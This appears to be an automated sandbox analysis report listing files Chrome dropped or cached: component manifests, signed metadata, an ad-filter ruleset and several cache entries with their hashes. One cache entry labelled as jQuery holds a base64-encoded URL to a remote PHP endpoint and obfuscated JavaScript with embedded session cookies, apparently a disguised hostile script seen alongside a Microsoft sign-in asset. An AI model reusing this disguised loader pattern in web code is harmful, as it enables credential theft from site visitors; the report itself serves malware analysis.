Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiSUxrUllPSmhIVEZacllLRmN5UC12SkJrVjNWbWVLdHo4d1hEb2VPWjBZMCJ9LHsicGF0aCI6InNzbF9lcnJvcl9hc3Npc3RhbnQucGIiLCJyb290X2hhc2giOiJyRFZLUnlPcXBQQnI3RGhkM2VTazBKZzYxUlJXOVNzeHFBYU95WDFiWHFjIn1dLCJmb3JtYXQiOiJ0cmVlaGFzaCIsImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoiZ2lla2NtbWxua2xlbmxhb21wcGtwaGtuam1ubnBuZWgiLCJpdGVtX3ZlcnNpb24iOiI3IiwicHJvdG9jb2xfdmVyc2lvbiI6MX0","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"nBdNk-7bgnEftAs4hWaHwF1Lk9pt7Eh6pcqe2gyNsE7VnVRp-H27tm1RFAF4htCUlXNJxX6YY-MUiK2DqJpQ3c73KDaFV8DcnadQfcXO3Lbrw7jLYSUaSdzujPkTyhuFcq_BhK0KWiIJ0aJgh7nVOBfAa5AbE6oFlLKMB2Ls0gmzS1-a5hUIu4rw2h9r9jkr6gLYbein5Jk2hdwW3u-1GNjyki4dftG2iZNAI8VhUf5gnCiF4AHCnYSGJsM0RGkmO_HJIzgwpQpP3RDsG2ioeKgxL-kcHhjXWOj3uVGyxpp1FkyHGkeGuqpFZMAxx3CEBiOtFj7i3iQxkgEW-E3uMKI3yA

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_204686775\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.9555383032528804
Encrypted:	false
SSDEEP:	3:SWjBMq9+jigBeQrEj3vWXyDt:SW93KBeQIj+XQ
MD5:	684DA5CCA8ADC8CA59CBE5B082CFE0B5
SHA1:	B8784E02DB81C5F846A7848455A2C6629A88BD64
SHA-256:	F48C9D93CC216AF13BBFAD15DD5E6D1679CD35D318E664029DDF61EFC6E51A5D
SHA-512:	EAEB9B8C51AEF3CC2749F4E6B2C2B58334E53C0BA701DB94F2896C9557B949D392CF4F44B771821C63DD238FAC2B2F869833BED2DFF830AFC4C8743683A75183
Malicious:	false
Preview:	1.3eb16d6c28b502ac4cfee8f4a148df05f4d93229fa36a71db8b08d06329ff18a

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_204686775\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	76
Entropy (8bit):	4.169145448714876
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFY8Wypv/KS1f:F6VlMQyBSS1f
MD5:	4AAA0ED8099ECC1DA778A9BC39393808
SHA1:	0E4A733A5AF337F101CFA6BEA5EBC153380F7B05
SHA-256:	20B91160E2611D3159AD82857323FEBC906457756678AB73F305C3A1E399D18D
SHA-512:	DFA942C35E1E5F62DD8840C97693CDBFD6D71A1FD2F42E26CB75B98BB6A1818395ECDF552D46F07DFF1E9C74F1493A39E05B14E3409963EFF1ADA88897152879
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "sslErrorAssistant",. "version": "7".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_204686775\ssl_error_assistant.pb

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	2816
Entropy (8bit):	6.108955364911366
Encrypted:	false
SSDEEP:	48:jkbh6AW2Bfc3osI6Hc3+XgU+EVeY55J4gXM/QDH4yq2dxckdfmkM:jkbhM2a3pntgQVb8Ylq2di
MD5:	E2F792C9E2DD86F39E8286B2EAD2FC70
SHA1:	8A32867614D2A23E473ED642056DED8E566687F9
SHA-256:	AC354A4723AAA4F06BEC385DDDE4A4D0983AD51456F52B31A8068EC97D5B5EA7
SHA-512:	6A7AF0CA1EFA65A89A9CA3B8DF0D2E24F21D91673C60CDFEEB02D33647442B01D535497249542F40E66E0D2DD3E9F8ED1F4A201FD97138D07A2B71366737E580
Malicious:	false
Preview:	...5.3sha256/fjZPHewEHTrMDX3I1ecEIeoy3WFxHyGplOLv28kIbtI=.5.3sha256/m/nBiLhStttu1YmOz7Y3D2u1iB1dV2CbIfFa3R2YW5M=.5.3sha256/8Iuf4xRbVCmCMQTJn3rxlglIO1IOKoyuSUgmXyfaIKs=.5.3sha256/8IHdrS+r6IWzSMcRcD/GA6mBxk1ECX8tGRW0rtGWILE=.5.3sha256/k/2eeJTznE32mblA/du19wpVDSIReFX44M8wXa2JY30=.5.3sha256/urWd7jMwR6DJgvWhp6xfRHF5b/cba3iG0ggXtTR6AfM=.5.3sha256/IJPCDSE5tM9H3nuD5m6RU2i9KDdPXVn4qmC/ULlcZzc=.5.3sha256/0Gy8RMdbxHNWR2GQJ62QKDXORYf5JmMmnr1FJFPYpzM=.5.3sha256/8tTICtyaxIQrdbYYDdgZhTN0OpM9kYndvoImtw1Ys5E=.5.3sha256/F7HIlsaG0bpJW8CzYekRbtFqLVTTGqwvuwPDqnlLct0=.5.3sha256/zaV2Aw1A742R1+WpXWvL5atsJbGmeSS6dzZOfe6f1Yw=.5.3sha256/UwOkRGMlP0K/mKNJdpQ0sTg2ean9Tje8UTOvFYzt1GE=.5.3sha256/w7KUXE4/BAo1YVZdO3mBsrMpu4IQuN0mhUXUI//agVU=.5.3sha256/JnPvGqEn36FjHQlBXtG1uWwNtdMj1o2ojR/asqyypNk=.5.3sha256/AUSXlKDCf1X30WhWeAWbjToABfBkJrKWPL6KwEi5VH0=.5.3sha256/zSyVjjFJMIeXK0ktVTIjewwr6U5OePRqyY/nEXTI4P8=.5.3sha256/9dcHlrXN2WV/ehbEdMxMZ8IV4qvGejCtNC5r6nfTviM=.5.3sha256/E+0WZLGSIe5nddlVKZ5fYzaNHHCE3hNqi/OWZD3iKgA=.5.3sha2

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_439772201\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1796
Entropy (8bit):	6.015714133744163
Encrypted:	false
SSDEEP:	48:p/hxxXI170pFNZ7akk+sX1aL6BsSMukgI3Gb7Op/eMhMkHB:RjyYX7axX1zBVMuzIe7OAMh5
MD5:	E05725F079C4BEF71529D5BCF38A107E
SHA1:	63C193389974E6E30A06532EEA4ED8F8B38293C5
SHA-256:	FF82D349FC8F053947D7EDEAAD4F3E6C4F6BD75B92B6D187FD068022B3C3B9E6
SHA-512:	BBDBC32FD540F8DD0267D1FED0F485BD67E8A14B3DE8D76BC905A81224148B3E1E8B8F7878B26008928D805B129ACF3862DD7F9803237002BC3038FFA4C90E67
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJjcl9lbi11c181MDAwMDBfaW5kZXguYmluIiwicm9vdF9oYXNoIjoiQzZYRTVFaFlEa0xDNmhWR3gyVEZRMXIwMEQyd0FpQUpxcm9lNnpwM2t1QSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiI1dDJ1MGYyUjlYemhHb2wwclRjS3pDQ3BIejN6Z0taYmxISXhpeFNhT3hrIn1dLCJmb3JtYXQiOiJ0cmVlaGFzaCIsImhhc2hfYmxvY2tfc2l6ZSI6NDA5Nn1dLCJpdGVtX2lkIjoib2JlZGJiaGJwbW9qbmthbmljaW9nZ25tZWxtb29tb2MiLCJpdGVtX3ZlcnNpb24iOiIyMDI1MDEwNS43MTI2OTc4OTQuMTQiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"TtgownfLEqGoe4o-aE3E1HCFtcanMZvGyuFX2N97wTktFUCCxGbMVbo0PcTp4aZYy7vRW7d_t7n1HtShVWhQMTxkCxKMGlGyucryx5La6Thnuc-wswofojJUC59IG5bYMbIrHm1nz6Ut2vpaudqBCqTAngD6Y-JO9uDmhLe1EoGX4vN-zj8fboRgCQobJa5J-kTmZUSK2sZqBVe4pEmZ5Oa_4HYsEn-L0M0RPvtfibLdyTTJFX_BDi-DRdrnYxh9sd4px5IGqFIS4o134AzHKW8HUqGlkSL6lOINyq9utRRUjdryldWXQtA7Sb2

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_439772201\cr_en-us_500000_index.bin

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	7970753
Entropy (8bit):	6.569477292169782
Encrypted:	false
SSDEEP:	98304:UfqhNiSz/Waq1gs6SZlUmNTwil2Nwl1uEbZRnxubAZ6PDvxmJYS:rNzq1/Z2mNTB1tdRnPU5mJt
MD5:	EB5CB5C70367F09A66A43E61B7C21AA6
SHA1:	A554BE0E372C3566EF0ECA928D02CD0EB3CC100A
SHA-256:	9F9FFB5CF7E690888CF28832C23687A7F37CA48FFAE9888FBA7ACF76A03BC34D
SHA-512:	E0154366A783C4FF0E52705B6E91F21A9E21A9B17F50E7C8679807C1DD5D0F4FC07B49D11371F07098321488B7D1CF9F757196B8BB85A48ECDACB18209D239AD
Malicious:	false
Preview:	......w.....aE....t..!..h_./..y.p@..fE.A..g5.J..r..R..c.iZ..n..o..l1.v..e....b.....d.....m.y...u.....o;...p7,...s.....iwq...z.....v.p...kg....jGN...x.....4.r...5.....q.8...2.....3u....7. ...1.b...6Wv...9.....8A..........0.....*67."...._"....+#........&.....'...&{'.....(.....+....... q,.....,............. _/.....0...$.1.../O:.........b0.... meaning.....!;.....;.... to usd ....rsula corber.....-.<....5<.....u<..+.lafur darri .lafsson movies and tv shows......<.........^...(.=..... meaning&...@E=....}=..... meaning.d....>...)k>.....r eldon.4.... meaning...... meaningZ....sad.ra bjarkard.ttir barney....... ..... ..J...#.>......... . .....rT..... ......"R.... ....L..... meaning..... meaning.p...eviri.o.... meaning.7....?..... meaning... . .... ................ meaning...... meaning~........ 2024..... meaning.y.... meaning.B.... meaning4:.... meaning

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_439772201\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.919078122092779
Encrypted:	false
SSDEEP:	3:SGUQRj9KRViHDkSHANPwcimhmSTlV:SGJjKRMjj6wram6V
MD5:	C4509667879929A18C1C3D463FCDA987
SHA1:	9417D692B4BBB15309E20315ADC9076C01D1DEF3
SHA-256:	44DC2641BAB93E8860C5ABEE0C36102B437C7063389D5269A0A91126AF798FB9
SHA-512:	26869202DE6CBA557D7C642D803CE34CFA050469469F4DF7E55D43A1AA2D69F4BCAD92269C4FCAD94D01ED13687C5F1F633F82C5A50BED2BE7597AFBE1C73479
Malicious:	false
Preview:	1.da0155a97d8d2f0a4fd2ad57bbfba7b5028d725439c27c61568e6cf5f4e76d60

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_439772201\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	108
Entropy (8bit):	4.9110663545050555
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifF0AAGAR3CKG/w/VpKS12RLnX9geA:F6VlMT2C7Y/VUS12RLXrA
MD5:	ED634C4D08F9E07973A26B11CB86A42C
SHA1:	49CAB82D90194ECA15221C3C4899B999B92705D2
SHA-256:	E6DDAED1FD91F57CE11A8974AD370ACC20A91F3DF380A65B9472318B149A3B19
SHA-512:	EA7F93391271CBA686DF69D47AFF86ABA03F34DD8F2DBC0275ADBD8DABCF518981FE0FA4573FCEA04552C678671B89F457869F8E9BA064F68ECF0B205552D1B9
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "OnDeviceHeadSuggestENUS500000",. "version": "20250105.712697894.14".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_782846124\Filtering Rules

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SysEx File - GreyMatter
Category:	dropped
Size (bytes):	75076
Entropy (8bit):	5.536878116224829
Encrypted:	false
SSDEEP:	1536:BFJkJ9UJ9Gor+SRTpV7rSEc2xgmmD6I7knvvTsnlPUBkVxC7M0x5vPrwz:7uiJcoi0TptOEcSg1D6IovvTsnlPFVxf
MD5:	EABBA602AD039867B52E30E3E59EDC38
SHA1:	FAC94381CB8BD64D6EE5247060A3A3103FCD6D56
SHA-256:	68EF948A4727C058ED027C201EED5F749A508AE2732518188043AF70E6E41E75
SHA-512:	6C3FB4155FB43A544A4847794511A903A2E2B0DEE2FAC6C6378C735D8194FF0D7B095DC28EFF96F01E42B97E3BAC6C68B88FE25D6520DFAB131ACFDCF88ADFAC
Malicious:	false
Preview:	............0.8.@.R.-728x90...........0.8.@.R.adtdp.com^..........0.8.@.R.just-news.pro^..........0.8.@.R.yomeno.xyz^..........0.8.@.R.yellowblue.io^..........0.8.@.R.thubanoa.com^..........0.8.@.R.abh.jp^..........0.8.@.R.ad999.biz^..........0.8.@.R._468_60...........0.8.@.R.adrecover.com^..........0.8.@.R.pemsrv.com^..........0.8.@.R.mnaspm.com^.,........0.8.@.R.mysmth.net/nForum//ADAgent_.>...........worldstar.com0.8.@.R.js.assemblyexchange.com/wana..(........0.8.@.R.ogads-pa.googleapis.com^..........0.8.@.R.indoleads.com^.%......0.8.@.R.discordapp.com/banners/.(........0.8.@.R.looker.com/api/internal/.#........0.8.@.R.broadstreetads.com^.(........0.8.@.R.shikoku-np.co.jp/img/ad/..........0.8.@.R./banner.cgi?..........0.8.@.R./in/track?data=.!......0.8.@.R.linkbucks.com/tmpl/..........0.8.@.R.clicktripz.com^..........0.8.@.R.-ad-manager/........0.8.@.R.files.slack.com^.$........0.8.@.R.admitad-connect.com^.2........0.8.@.R"cloudfront.net/js/common/invoke.js..........0.8.@.R./300-2

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_782846124\LICENSE.txt

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24623
Entropy (8bit):	4.588307081140814
Encrypted:	false
SSDEEP:	384:mva5sf5dXrCN7tnBxpxkepTqzazijFgZk231Py9zD6WApYbm0:mvagXreRnTqzazWgj0v6XqD
MD5:	D33AAA5246E1CE0A94FA15BA0C407AE2
SHA1:	11D197ACB61361657D638154A9416DC3249EC9FB
SHA-256:	1D4FF95CE9C6E21FE4A4FF3B41E7A0DF88638DD449D909A7B46974D3DFAB7311
SHA-512:	98B1B12FF0991FD7A5612141F83F69B86BC5A89DD62FC472EE5971817B7BBB612A034C746C2D81AE58FDF6873129256A89AA8BB7456022246DC4515BAAE2454B
Malicious:	false
Preview:	EasyList Repository Licences.... Unless otherwise noted, the contents of the EasyList repository.. (https://github.com/easylist) is dual licensed under the GNU General.. Public License version 3 of the License, or (at your option) any later.. version, and Creative Commons Attribution-ShareAlike 3.0 Unported, or.. (at your option) any later version. You may use and/or modify the files.. as permitted by either licence; if required, "The EasyList authors.. (https://easylist.to/)" should be attributed as the source of the.. material. All relevant licence files are included in the repository..... Please be aware that files hosted externally and referenced in the.. repository, including but not limited to subscriptions other than.. EasyList, EasyPrivacy, EasyList Germany and EasyList Italy, may be.. available under other conditions; permission must be granted by the.. respective copyright holders to authorise the use of their material.......Creative Commons Attribut

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_782846124\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1529
Entropy (8bit):	5.970215376335647
Encrypted:	false
SSDEEP:	24:pZRj/flTHY+tCJVkYbKaR8uemFjeT3tzkaoX6pdKijihWUoXOgYhTYhXsvtYu0/T:p/h4oCHbKaiuqTtkak6SHkKh8Cix/NN
MD5:	4056E612209F7E171E97A4BAAD33E9D9
SHA1:	65552882A5046F8C4590114164527BB4E06A88C8
SHA-256:	3790644377239FA0ED31695DD6CA298E691D8A722079A120E3B95888CD02A59A
SHA-512:	9F319BF1F3FA801380BDA50C978068B9836C92FA3116DC0C161342819122C7C9B37F9D93286E6A47339728FD921287DD4CBBF49F42D25DBDFFD5492C8F704D92
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJGaWx0ZXJpbmcgUnVsZXMiLCJyb290X2hhc2giOiJucWhncWw5V1VKS1dsckxsMWcydDk3ZWZZV3pXSXFyS0ZEdUlBRzVYQ0NVIn0seyJwYXRoIjoiTElDRU5TRS50eHQiLCJyb290X2hhc2giOiIyaWswNmk0TFlCdVNHNWphRGFIS253NE9pdnVSRzZsQ0JKMVk0TGtzRFJJIn0seyJwYXRoIjoibWFuaWZlc3QuanNvbiIsInJvb3RfaGFzaCI6Im94R3FoUXZuYXpkX25QakRtdGNHNVpldzVTNl9KX1dnWGF0Q1VuSDJaUzgifV0sImZvcm1hdCI6InRyZWVoYXNoIiwiaGFzaF9ibG9ja19zaXplIjo0MDk2fV0sIml0ZW1faWQiOiJnY21qa21nZGxnbmtrY29jbW9laW1pbmFpam1tam5paSIsIml0ZW1fdmVyc2lvbiI6IjkuNTMuMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"Aa9-IcWVFN0nZzRG-ALMAKq2-fXGbhYztlRiSxmkhnBtElMC1RGaLdE0fMq1d__FFc_2B0F3Lvo9_dPvqA5AntqZjbw7tZ5BDcmFZyPZUM4U_A7esIYs4F1_GWgF_GmZY5ue0QDdHLMf9QMFcrJKe7niWPPfZSno5bpUqHdwrmvuUnB_J8hk3JzN8Ybca2UY4cFhrpjlkg2kj5-intqNsPGHi4mrvZ7ctaffAkfMwzP3Xtcdw

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_782846124\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.9784136821063196
Encrypted:	false
SSDEEP:	3:SMOGHtdUbb5UNGHMfn4yxqt:SM/HtdUPSGHsnFxqt
MD5:	20C72149A48962D86FFEAACF14CF63FC
SHA1:	EF8244AE418794FFCB01D09C9B577C942C9A8218
SHA-256:	9ABD021173116878060E97B8C1B034AA9535215F54CEEE82B4DF09F5B5A44E48
SHA-512:	F0B185B688913DF3F38308EB30207902CCB93C116EADB2668B3414ADD6944587C365CBA98F68C7BD1E15CA328934F61972785D61804BD3EF3287C7893BDBAD16
Malicious:	false
Preview:	1.fa0d6d9c4b0b82afb2f2a5905ee915fcbee32c741304885b1399da5747eced4e

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1904_782846124\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.56489413033116
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFHXG7LGMdv5HcDKhtUJKS1B:F6VlMZWuMt5SKPS1B
MD5:	C5CADAB1F82F9B71621C1E776CAB86CF
SHA1:	C98F0A50560D2D6C60105426A0435F95023A7237
SHA-256:	A311AA850BE76B377F9CF8C39AD706E597B0E52EBF27F5A05DAB425271F6652F
SHA-512:	04DFBEA8D35FF5FB2B9926AE095A5243FCAFB8BD2AC269BF09CAE2DAFF03D67E777F157649A25ECD388566C54219AA85EB4F6DB213C8B1FA001526C5397CCE80
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "Subresource Filtering Rules",. "ruleset_format": 1,. "version": "9.53.0".}

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	dropped
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (62826)
Category:	dropped
Size (bytes):	846520
Entropy (8bit):	4.688106454428643
Encrypted:	false
SSDEEP:	6144:b6qmgraGsC3hsW3WlFCDq0gxiGYQanrYrgpjkkojsDvwfFM:b6K3oCCjxM
MD5:	73988F04815CB0BB1CB0074DE7E46DC6
SHA1:	2E250EA8506C2BA0E6CE9535F43579CAB697945F
SHA-256:	A922936A2F13B8AE82DE0547A5F07C79DD442C58D949417A4025503732D67D4E
SHA-512:	B3FD32A5CA4805BC95218D8C2FF7993797470AD9FAB45E57DF9FCCFAB7A43C9E56AB48FCF1CE6AD321F93972CFEE2372E4DA018FD6A1C7D24B005DB037E43910
Malicious:	false
Preview:	/! jQuery v3.6.0 jquery.com \| jquery.org/license /.var file = "aHR0cDovL2ludGVjaGRlc2lnbi5reWxvcy5wbC93cC1jb250ZW50L2Rvbi9jbGFzcy5waHA=";.var _0x4b6823=_0x1b8a;function _0x32cc(){var _0x3e02d0=['trim','map','split','log','length','240624RTdHeP','3951MakCuM','2842024nTYJNF','filter','39385ziSWfF','__cfduid=da48fc97c9ea6147d5534503f5337db821534343165;\x20expires=Thu,\x2015-Aug-19\x2014:26:05\x20GMT;\x20path=/;\x20domain=.foobar.com;\x20HttpOnly,\x20XSRF-TOKEN=eyJpdiI6Imx3TXJFZ013QVRiXC9mUzFMXC9uM2NzQT09IiwidmFsdWUiOiJ5Z2V2SVJRUlpKRmQ0c0xCU0VWUDBGVzduWnBxVlwvaVhVTnlSbzdnTnJkdzlNd0M2KzFDZWVzQ3lZT1N6RkpJdkZuM0w4MkMraE5SWDN1XC9xUmlNNDJRPT0iLCJtYWMiOiI3MmE4YzEwYTY5ZGI5NTIyNWMyZTBmM2Q0YTlhZGE3Mzk2MzYyMmI1NGZiYWFmNjBlMjgxMTZjMzFkOGU3N2UxIn0%3D;\x20expires=Wed,\x2015-Aug-2018\x2016:26:05\x20GMT;\x20Max-Age=7200;\x20path=/,\x20laravel_session=eyJpdiI6Ikp2ckE5ME5KRFU4TlFOc0xxVUZXR2c9PSIsInZhbHVlIjoiRWRcLzRMdFJLMEM2U2dEdTdUN1FcL2w2WGZ5eGJ1VmF2ZHJYd2JoVjUzSHBWQlkzYmIzWWRzUllMcEt0Sjk3OVlaeGRLTWozNF

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
